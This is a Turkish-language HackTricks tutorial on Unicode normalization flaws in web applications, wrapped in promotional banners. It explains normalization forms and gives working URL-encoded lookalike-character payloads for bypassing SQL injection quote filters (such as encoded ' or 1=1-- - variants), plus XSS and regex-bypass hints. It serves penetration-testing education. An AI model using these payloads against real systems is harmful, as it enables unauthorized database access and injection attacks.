10 KiB
Unicode Normalizasyonu
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini alın
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
WhiteIntel
WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
Bu, şunun özeti: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Daha fazla detay için bakın (resimler oradan alınmıştır).
Unicode ve Normalizasyonun Anlaşılması
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standart hale getirildiği bir süreçtir. Bu süreç, programlama ve veri işleme süreçlerinde dizelerle uğraşırken hayati öneme sahiptir. Unicode standardı iki tür karakter eşdeğerliği tanımlar:
- Kanonik Eşdeğerlik: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahipse kanonik olarak eşdeğer kabul edilir.
- Uyumluluk Eşdeğerliği: Karakterler aynı soyut karakteri temsil edebilir ancak farklı şekilde görüntülenebilirler.
Dört Unicode normalizasyon algoritması vardır: NFC, NFD, NFKC ve NFKD. Her algoritma kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derinlemesine anlamak için bu teknikleri Unicode.org üzerinde keşfedebilirsiniz.
Unicode Kodlaması Hakkında Ana Noktalar
Unicode kodlamasını anlamak, farklı sistemler veya diller arasındaki etkileşim sorunlarıyla uğraşırken özellikle önemlidir. İşte ana noktalar:
- Kod Noktaları ve Karakterler: Unicode'da, her karakter veya sembol, "kod noktası" olarak bilinen bir sayısal değerle ilişkilendirilir.
- Bayt Temsili: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt tarafından temsil edilir. Örneğin, İngilizce konuşan ülkelerde yaygın olan LATIN-1 karakterleri bir bayt kullanılarak temsil edilir. Ancak, daha fazla karakter kümesine sahip diller, temsil için daha fazla bayt gerektirir.
- Kodlama: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği yaygın bir kodlama standardıdır ve diğer karakterler için dört bayta kadar kullanılır.
- Veri İşleme: Veri işleyen sistemler, bayt akışını doğru şekilde karakterlere dönüştürmek için kullanılan kodlamayı bilmelidir.
- UTF Çeşitleri: UTF-8'in yanı sıra, UTF-16 (en az 2 bayt, en fazla 4 bayt) ve UTF-32 (tüm karakterler için 4 bayt kullanımı) gibi diğer kodlama standartları bulunmaktadır.
Bu kavramları etkili bir şekilde anlamak, Unicode'ın karmaşıklığından ve çeşitli kodlama yöntemlerinden kaynaklanan olası sorunları ele almak ve azaltmak için hayati önem taşır.
İki farklı baytı temsil eden Unicode'ın nasıl normalleştirdiğine dair bir örnek:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
Unicode eşdeğer karakterlerin bir listesine buradan ulaşabilirsiniz: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html ve https://0xacb.com/normalization_table
Keşfetme
Eğer bir web uygulamasında geriye yansıtılan bir değer bulabilirseniz, 'KELVİN İŞARETİ' (U+0212A) gönderebilirsiniz ki bu "K" olarak normalize edilir (bu şekilde gönderebilirsiniz %e2%84%aa
). Eğer geriye "K" yansıtılıyorsa, bir tür Unicode normalizasyonu gerçekleştiriliyor demektir.
Başka bir örnek: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
unicode'den sonra Leonishan
olur.
Zayıf Nokta Örnekleri
SQL Injection filtre bypass
Kullanıcı girdisiyle SQL sorguları oluşturmak için karakter '
kullanan bir web sayfasını hayal edin. Bu web sitesi, güvenlik önlemi olarak kullanıcı girdisindeki tüm karakter '
'leri siler, ancak bu silme işleminden sonra ve sorgunun oluşturulmasından önce kullanıcı girdisini Unicode kullanarak normalize eder.
Bu durumda, kötü niyetli bir kullanıcı, ' (0x27)
'ye eşdeğer farklı bir Unicode karakteri ekleyebilir, örneğin %ef%bc%87
. Girdi normalize edildiğinde, tek tırnak oluşturulur ve bir SQLInjection zafiyeti ortaya çıkar:
Bazı ilginç Unicode karakterler
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap şablonu
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
XSS (Cross Site Scripting)
Web uygulamasını kandırabilir ve XSS'yi sömürebilirsiniz için aşağıdaki karakterlerden birini kullanabilirsiniz:
Örneğin, ilk Unicode karakteri %e2%89%ae
veya %u226e
olarak gönderilebilir.
Regex Fuzzing
Arka uç, bir regex ile kullanıcı girişini kontrol ettiğinde, girişin regex için normalize edildiği ancak kullanıldığı yer için değil olabileceği mümkündür. Örneğin, Açık Yönlendirme veya SSRF'de regex, gönderilen URL'yi normalize edebilir ancak olduğu gibi erişebilir.
recollapse aracı, arka ucu test etmek için girişin varyasyonlarını oluşturmanıza olanak tanır. Daha fazla bilgi için github ve bu gönderiye bakın.
Referanslar
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
WhiteIntel
WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevsellikler sunar.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini alın
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.